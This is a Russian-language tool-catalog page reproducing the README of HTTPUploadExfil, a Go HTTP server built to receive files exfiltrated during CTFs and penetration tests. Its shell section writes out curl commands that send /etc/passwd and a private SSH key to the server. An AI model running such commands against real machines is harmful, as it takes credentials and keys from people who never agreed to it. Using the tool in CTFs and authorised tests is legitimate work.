Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
HTTPUploadExfil — Простой HTTP-сервер для доставки и эксфильтрации файлов/данных, например, во время CTF. | Kitploit
Инструменты/GitHubGitHub/ingokl/httpuploadexfil
Эксфильтрация данныхВеб-безопасностьCTFТестирование на Проникновение
GitHubingokl/httpuploadexfil

HTTPUploadExfil

Простой HTTP-сервер для доставки и эксфильтрации файлов/данных, например, во время CTF.

Репозиторий
82181 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

HTTPUploadExfil

HTTPUploadExfil Logo

MIT License GitHub stars

HTTPUploadExfil — это (очень) простой HTTP-сервер, написанный на Go, который удобен для получения файлов (и другой информации) с машины по HTTP. Хотя вариантов использования много, он предназначен для невысоких наступательных сценариев (например, CTF).

Воспринимайте это как python3 -m http.server, но для получения данных с машины, а не на неё.

Очевидно, что это очень шумный и несколько ограниченный способ эксфильтрации данных. Тем не менее, он довольно удобен и несколько проще, чем, например, использование SMB или FTP. Если вы ищете что-то более элегантное, посмотрите, например, на dnsteal или PyExfil.

TL;DR

  1. Соберите инструмент с помощью go build.
  2. Запустите ./httpuploadexfil :1337 /home/kali/loot на вашей машине.
  3. На машине, с которой нужно эксфильтровать данные, откройте http://YOUR_IP:1337/.
  4. Найдите загруженные файлы в /home/kali/loot.

Если вам нужен HTTPS, смотрите информацию ниже.

Вы также можете скачать бинарники для Linux и Windows с GitHub. Однако эти бинарники не обязательно отражают последние изменения.

Сборка и разработка

Хотя бинарники доступны, настоятельно рекомендуется собирать этот инструмент самостоятельно. Так вы получите самую новую версию и будете точно знать, что запускаете. Процесс тривиален:

Просто выполните go build в папке, и вы получите исполняемый файл httpuploadexfil для вашей платформы.

Если вы вносите изменения в инструмент, не забудьте отформатировать код с помощью go fmt main.go.

В качестве альтернативы вы также можете использовать make для сборки инструмента. Также можно выполнить make cert для генерации SSL-сертификатов (см. ниже).

Использование

Наиболее распространённый случай использования — запуск сервера на Машине A. Затем на Машине B вы открываете форму загрузки в браузере и выбираете файл для эксфильтрации. Конечно, как показано ниже, это также можно сделать с помощью, например, curl.

Помимо загрузки файлов, вы также можете использовать HTTPUploadExfil для эксфильтрации данных с помощью простых GET-запросов. Если запрос отправляется на конечную точку \g, весь запрос будет сохранён на диск.

Таким образом, вы можете эксфильтровать данные, используя заголовок запроса. Проще всего использовать GET-параметры (например, ?data=...), но есть и другие варианты.

HTTPUploadExfil

По умолчанию HTTPUploadExfil будет работать на порту 8080. Все файлы будут записываться в текущий каталог.

./httpuploadexfil

Вы также можете указать некоторые аргументы:

./httpuploadexfil :1337 /home/kali/loot

Если вам нужно логирование запросов, передайте флаг -log следующим образом:

./httpuploadexfil -log

Первый аргумент — это адрес привязки, второй — папка для сохранения файлов.

Инструмент также будет предоставлять доступ к файлам в каталоге трофеев по конечной точке /l. Это можно использовать как простой способ переноса файлов на цель.

Конечные точки

Веб-сервер предоставляет четыре конечные точки для использования:

  1. / (GET) — форма загрузки.
  2. /p (POST) — принимает данные из формы загрузки. Требуется запрос multipart/form-data с заполненным полем file.
  3. /g (GET) — принимает любой GET-запрос и сохраняет полный запрос на сервере.
  4. /l (GET) — предоставляет доступ к файлам в указанной папке (список каталогов). Это обеспечивает базовую функциональность python3 -m http.server.

Режим HTTPS

HTTPUploadExfil также может использоваться в режиме HTTPS. Для этого просто поместите файлы HTTPUploadExfil.csr и HTTPUploadExfil.key рядом с бинарником. Их можно сгенерировать, например, так:

root@kitploit:~
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr

Для этого также можно выполнить make cert.

Если сервер обнаружит файл HTTPUploadExfil.csr, он попытается запуститься в режиме HTTPS. Чтобы вернуться к HTTP, просто удалите или переименуйте файлы сертификатов.

Оболочка

Используя Bash, мы можем эксфильтровать данные через GET, например:

echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g

Конечно, мы также можем использовать curl для эксфильтрации файлов:

curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p

Планы

  • Реализовать версию HTTPS (транспортное шифрование)
  • Добавить возможность загрузки (т.е. предоставить функциональность python3 -m http.server)
  • Добавить функцию логирования запросов
  • Система сборки (особенно кросс-компиляция для Windows и Linux)
Скачать инструмент